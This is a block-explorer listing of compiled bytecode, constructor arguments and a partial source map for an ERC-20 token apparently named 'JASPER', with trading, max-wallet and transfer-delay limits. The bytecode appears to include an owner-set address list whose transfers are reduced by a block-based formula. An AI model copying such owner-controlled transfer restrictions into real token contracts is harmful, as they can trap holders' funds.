2565b50505050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601a5481565b60606040518060400160405280600681526020017f4a41535045520000000000000000000000000000000000000000000000000000815250905090565b5f610e2a610e236115e0565b84846117aa565b6001905092915050565b610e3c61154f565b5f5b83839050811015610ed15781600b5f868685818110610e6057610e5f6131a9565b5b9050602002016020810190610e759190612e77565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610e3e565b50505050565b601b5481565b610ee561154f565b80601d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fea6115e0565b73ffffffffffffffffffffffffffffffffffffffff1614611009575f80fd5b601054811115801561101d57506011548111155b611025575f80fd5b806010819055508060118190555050565b61103e61154f565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036110ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a39061333d565b60405180910390fd5b6110b581612741565b50565b6110c061154f565b601d60159054906101000a900460ff1615611110576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611107906133a5565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506111ad3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a611198919061311e565b64e8d4a510006111a89190613168565b6115e7565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611217573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061123b91906133d7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112e591906133d7565b6040518363ffffffff1660e01b8152600401611302929190613402565b6020604051808303815f875af115801561131e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061134291906133d7565b601d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c930610b5a565b5f806113d3610dac565b426040518863ffffffff1660e01b81526004016113f596959493929190613429565b60606040518083038185885af1158015611411573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906114369190613488565b505050601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016114d69291906134d8565b6020604051808303815f875af11580156114f2573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061151691906132a2565b506001601d60196101000a81548160ff0219169083151502179055506001601d60156101000a81548160ff021916908315150217905550565b5f806115596115e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166115de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d590613549565b60405180910390fd5b565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611655576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164c906135d7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ba90613665565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161179d9190612cc9565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f906136f3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187d90613781565b60405180910390fd5b5f81116118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf9061380f565b60405180910390fd5b5f8060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561194d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119449061389d565b60405180910390fd5b5f60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054036119d4574360095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b601d601a9054906101000a900460ff161561207f576119f1610dac565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015611a5f5750611a2f610dac565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a9757505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ad1575061dead73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611aea5750601d60149054906101000a900460ff16155b1561207e57601d60179054906101000a900460ff16611bde57600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611b9e5750600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611bdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd49061392b565b60405180910390fd5b5b601d60169054906101000a900460ff1615611da457611bfb610dac565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c83575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611cdc5750601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611da3574360095f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410611d60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d57906139df565b60405180910390fd5b4360095f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611e41575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611ee857601754831115611e8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8290613a6d565b60405180910390fd5b601854611e9785610b5a565b84611ea29190613a8b565b1115611ee3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eda90613b08565b60405180910390fd5b61207d565b60085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611f85575060075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611fd457601754831115611fcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc690613b96565b60405180910390fd5b61207c565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661207b5760185461202e85610b5a565b846120399190613a8b565b111561207a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207190613b08565b60405180910390fd5b5b5b5b5b5b601d60149054906101000a900460ff161580156120a85750601d601b9054906101000a900460ff165b156120ba576120b785846128c4565b92505b61210a8360035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461292f90919063ffffffff16565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506121ad612161838561292f90919063ffffffff16565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461297890919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef612250858761292f90919063ffffffff16565b60405161225d9190612cc9565b60405180910390a35050505050565b5f8383111582906122b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122aa9190612b94565b60405180910390fd5b505f83856122c19190613bb4565b9050809150509392505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361233c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233390613c57565b60405180910390fd5b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818111156123c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b790613ce5565b60405180910390fd5b81810160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124619190612cc9565b60405180910390a3505050565b6001601d60186101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156124a5576124a4613d03565b5b6040519080825280602002602001820160405280156124d35781602001602082028036833780820191505090505b50905030815f815181106124ea576124e96131a9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561258e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906125b291906133d7565b816001815181106125c6576125c56131a9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061262c3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115e7565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161268e959493929190613de7565b5f604051808303815f87803b1580156126a5575f80fd5b505af11580156126b7573d5f803e3d5ffd5b50505050505f601d60186101000a81548160ff02191690831515021790555050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561273d573d5f803e3d5ffd5b5050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f808303612814575f9050612875565b5f82846128219190613168565b90508284826128309190613e6c565b14612870576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286790613f0c565b60405180910390fd5b809150505b92915050565b5f6128bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129d5565b905092915050565b5f80829050600b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612925576129228385612a36565b90505b8091505092915050565b5f61297083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061226c565b905092915050565b5f8082846129869190613a8b565b9050838110156129cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129c290613f74565b60405180910390fd5b8091505092915050565b5f8083118290612a1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a129190612b94565b60405180910390fd5b505f8385612a299190613e6c565b9050809150509392505050565b5f80603290505f60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205443612a869190613bb4565b90505f8282612a959190613168565b90505f60648211612ab257816064612aad9190613bb4565b612ab4565b5f5b90505f60648289612ac59190613168565b612acf9190613e6c565b9050612ae45f82612af190919063ffffffff16565b9550505050505092915050565b5f81831015612b005781612b02565b825b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612b41578082015181840152602081019050612b26565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612b6682612b0a565b612b708185612b14565b9350612b80818560208601612b24565b612b8981612b4c565b840191505092915050565b5f6020820190508181035f830152612bac8184612b5c565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612be582612bbc565b9050919050565b612bf581612bdb565b8114612bff575f80fd5b50565b5f81359050612c1081612bec565b92915050565b5f819050919050565b612c2881612c16565b8114612c32575f80fd5b50565b5f81359050612c4381612c1f565b92915050565b5f8060408385031215612c5f57612c5e612bb4565b5b5f612c6c85828601612c02565b9250506020612c7d85828601612c35565b9150509250929050565b5f8115159050919050565b612c9b81612c87565b82525050565b5f602082019050612cb45f830184612c92565b92915050565b612cc381612c16565b82525050565b5f602082019050612cdc5f830184612cba565b92915050565b5f805f60608486031215612cf957612cf8612bb4565b5b5f612d0686828701612c02565b9350506020612d1786828701612c02565b9250506040612d2886828701612c35565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112612d5357612d52612d32565b5b8235905067ffffffffffffffff811115612d7057612d6f612d36565b5b602083019150836020820283011115612d8c57612d8b612d3a565b5b9250929050565b5f805f60408486031215612daa57612da9612bb4565b5b5f84013567ffffffffffffffff811115612dc757612dc6612bb8565b5b612dd386828701612d3e565b93509350506020612de686828701612c35565b9150509250925092565b5f60ff82169050919050565b612e0581612df0565b82525050565b5f602082019050612e1e5f830184612dfc565b92915050565b5f60208284031215612e3957612e38612bb4565b5b5f612e4684828501612c35565b91505092915050565b612e5881612bdb565b82525050565b5f602082019050612e715f830184612e4f565b92915050565b5f60208284031215612e8c57612e8b612bb4565b5b5f612e9984828501612c02565b91505092915050565b612eab81612c87565b8114612eb5575f80fd5b50565b5f81359050612ec681612ea2565b92915050565b5f805f60408486031215612ee357612ee2612bb4565b5b5f84013567ffffffffffffffff811115612f0057612eff612bb8565b5b612f0c86828701612d3e565b93509350506020612f1f86828701612eb8565b9150509250925092565b5f8060408385031215612f3f57612f3e612bb4565b5b5f612f4c85828601612c02565b9250506020612f5d85828601612c02565b9150509250929050565b5f819050919050565b5f819050919050565b5f612f93612f8e612f8984612f67565b612f70565b612c16565b9050919050565b612fa381612f79565b82525050565b5f602082019050612fbc5f830184612f9a565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115613044578086048111156130205761301f612fc2565b5b600185161561302f5780820291505b808102905061303d85612fef565b9450613004565b94509492505050565b5f8261305c5760019050613117565b81613069575f9050613117565b816001811461307f5760028114613089576130b8565b6001915050613117565b60ff84111561309b5761309a612fc2565b5b8360020a9150848211156130b2576130b1612fc2565b5b50613117565b5060208310610133831016604e8410600b84101617156130ed5782820a9050838111156130e8576130e7612fc2565b5b613117565b6130fa8484846001612ffb565b9250905081840481111561311157613110612fc2565b5b81810290505b9392505050565b5f61312882612c16565b915061313383612df0565b92506131607fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461304d565b905092915050565b5f61317282612c16565b915061317d83612c16565b925082820261318b81612c16565b915082820484148315176131a2576131a1612fc2565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506131e481612c1f565b92915050565b5f602082840312156131ff576131fe612bb4565b5b5f61320c848285016131d6565b91505092915050565b5f61322f61322a61322584612bbc565b612f70565b612bbc565b9050919050565b5f61324082613215565b9050919050565b5f61325182613236565b9050919050565b61326181613247565b82525050565b5f60408201905061327a5f830185613258565b6132876020830184612cba565b9392505050565b5f8151905061329c81612ea2565b92915050565b5f602082840312156132b7576132b6612bb4565b5b5f6132c48482850161328e565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f613327602683612b14565b9150613332826132cd565b604082019050919050565b5f6020820190508181035f8301526133548161331b565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61338f601783612b14565b915061339a8261335b565b602082019050919050565b5f6020820190508181035f8301526133bc81613383565b9050919050565b5f815190506133d181612bec565b92915050565b5f602082840312156133ec576133eb612bb4565b5b5f6133f9848285016133c3565b91505092915050565b5f6040820190506134155f830185612e4f565b6134226020830184612e4f565b9392505050565b5f60c08201905061343c5f830189612e4f565b6134496020830188612cba565b6134566040830187612f9a565b6134636060830186612f9a565b6134706080830185612e4f565b61347d60a0830184612cba565b979650505050505050565b5f805f6060848603121561349f5761349e612bb4565b5b5f6134ac868287016131d6565b93505060206134bd868287016131d6565b92505060406134ce868287016131d6565b9150509250925092565b5f6040820190506134eb5f830185612e4f565b6134f86020830184612cba565b9392505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f613533602083612b14565b915061353e826134ff565b602082019050919050565b5f6020820190508181035f83015261356081613527565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6135c1602483612b14565b91506135cc82613567565b604082019050919050565b5f6020820190508181035f8301526135ee816135b5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61364f602283612b14565b915061365a826135f5565b604082019050919050565b5f6020820190508181035f83015261367c81613643565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6136dd602583612b14565b91506136e882613683565b604082019050919050565b5f6020820190508181035f83015261370a816136d1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61376b602383612b14565b915061377682613711565b604082019050919050565b5f6020820190508181035f8301526137988161375f565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6137f9602983612b14565b91506138048261379f565b604082019050919050565b5f6020820190508181035f830152613826816137ed565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f613887602683612b14565b91506138928261382d565b604082019050919050565b5f6020820190508181035f8301526138b48161387b565b9050919050565b7f5f7472616e736665723a3a2054726164696e67206973206e6f742061637469765f8201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b5f613915602283612b14565b9150613920826138bb565b604082019050919050565b5f6020820190508181035f83015261394281613909565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f6139c9604983612b14565b91506139d482613949565b606082019050919050565b5f6020820190508181035f8301526139f6816139bd565b9050919050565b7f427579207472616e7366657220616d6f756e74206578636565647320746865205f8201527f6d617854782e0000000000000000000000000000000000000000000000000000602082015250565b5f613a57602683612b14565b9150613a62826139fd565b604082019050919050565b5f6020820190508181035f830152613a8481613a4b565b9050919050565b5f613a9582612c16565b9150613aa083612c16565b9250828201905080821115613ab857613ab7612fc2565b5b92915050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f613af2601383612b14565b9150613afd82613abe565b602082019050919050565b5f6020820190508181035f830152613b1f81613ae6565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d617854782e00000000000000000000000000000000000000000000000000602082015250565b5f613b80602783612b14565b9150613b8b82613b26565b604082019050919050565b5f6020820190508181035f830152613bad81613b74565b9050919050565b5f613bbe82612c16565b9150613bc983612c16565b9250828203905081811115613be157613be0612fc2565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f613c41602183612b14565b9150613c4c82613be7565b604082019050919050565b5f6020820190508181035f830152613c6e81613c35565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e5f8201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b5f613ccf602283612b14565b9150613cda82613c75565b604082019050919050565b5f6020820190508181035f830152613cfc81613cc3565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613d6281612bdb565b82525050565b5f613d738383613d59565b60208301905092915050565b5f602082019050919050565b5f613d9582613d30565b613d9f8185613d3a565b9350613daa83613d4a565b805f5b83811015613dda578151613dc18882613d68565b9750613dcc83613d7f565b925050600181019050613dad565b5085935050505092915050565b5f60a082019050613dfa5f830188612cba565b613e076020830187612f9a565b8181036040830152613e198186613d8b565b9050613e286060830185612e4f565b613e356080830184612cba565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613e7682612c16565b9150613e8183612c16565b925082613e9157613e90613e3f565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613ef6602183612b14565b9150613f0182613e9c565b604082019050919050565b5f6020820190508181035f830152613f2381613eea565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613f5e601b83612b14565b9150613f6982613f2a565b602082019050919050565b5f6020820190508181035f830152613f8b81613f52565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a0614bb2a14fbffb2c366d7bf42eafaac966e55f0b19e39b24e6b19f0510336864736f6c63430008170033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000006a23d13cd4a46e6abbb69fb770af05e4824a5919
-----Decoded View---------------
Arg [0] : marketingWallet_ (address): 0x6A23d13Cd4A46e6ABbB69fb770Af05e4824a5919
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000006a23d13cd4a46e6abbb69fb770af05e4824a5919
Deployed Bytecode Sourcemap
2669:12617:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11117:115;;;;;;;;;;;;;:::i;:::-;;5447:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6280:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4316:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5724:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6449:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12695:222;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7113:113;;;;;;;;;;;;;:::i;:::-;;4678:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5633:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12363:94;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4383:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4524:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14920:363;;;;;;;;;;;;;:::i;:::-;;10951:158;;;;;;;;;;;;;:::i;:::-;;5827:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1147:103:1;;;;;;;;;;;;;:::i;:::-;;4121:56:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14649:165;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12962:266;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;843:87:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4184:58:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5538:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5954:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13236:243;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4249:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14823:89;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6129:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12469:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;938:201:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11686:669:2;;;;;;;;;;;;;:::i;:::-;;11117:115;666:13:1;:11;:13::i;:::-;11186:1:2::1;11171:12;:16;;;;11203:21;11222:1;11203:21;;;;;;:::i;:::-;;;;;;;;11117:115::o:0;5447:83::-;5484:13;5517:5;;;;;;;;;;;;;;;;;5510:12;;5447:83;:::o;6280:161::-;6355:4;6372:39;6381:12;:10;:12::i;:::-;6395:7;6404:6;6372:8;:39::i;:::-;6429:4;6422:11;;6280:161;;;;:::o;4316:54::-;;;;:::o;5724:95::-;5777:7;3923:1;3986:2;:13;;;;:::i;:::-;3966:17;:33;;;;:::i;:::-;5797:14;;5724:95;:::o;6449:313::-;6547:4;6564:36;6574:6;6582:9;6593:6;6564:9;:36::i;:::-;6611:121;6620:6;6628:12;:10;:12::i;:::-;6642:89;6680:6;6642:89;;;;;;;;;;;;;;;;;:11;:19;6654:6;6642:19;;;;;;;;;;;;;;;:33;6662:12;:10;:12::i;:::-;6642:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6611:8;:121::i;:::-;6750:4;6743:11;;6449:313;;;;;:::o;12695:222::-;666:13:1;:11;:13::i;:::-;12791:9:2::1;12786:124;12810:10;;:17;;12806:1;:21;12786:124;;;12878:10;;12889:1;12878:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12854:44;;12863:13;;;;;;;;;;;12854:44;;;12893:4;12854:44;;;;;;:::i;:::-;;;;;;;;12829:3;;;;;;;12786:124;;;;12695:222:::0;;;:::o;7113:113::-;666:13:1;:11;:13::i;:::-;7182:4:2::1;7165:14;;:21;;;;;;;;;;;;;;;;;;7213:5;7197:13;;:21;;;;;;;;;;;;;;;;;;7113:113::o:0;4678:32::-;;;;;;;;;;;;;:::o;5633:83::-;5674:5;3923:1;5692:16;;5633:83;:::o;12363:94::-;666:13:1;:11;:13::i;:::-;12422:27:2::1;12428:12;:10;:12::i;:::-;12442:6;12422:5;:27::i;:::-;12363:94:::0;:::o;4383:28::-;;;;;;;;;;;;;:::o;4524:34::-;;;;;;;;;;;;;:::o;14920:363::-;14984:10;;;;;;;;;;;14970:24;;:12;:10;:12::i;:::-;:24;;;14962:33;;;;;;15006:20;15027:24;15045:4;15027:9;:24::i;:::-;15006:45;;15078:1;15065:12;: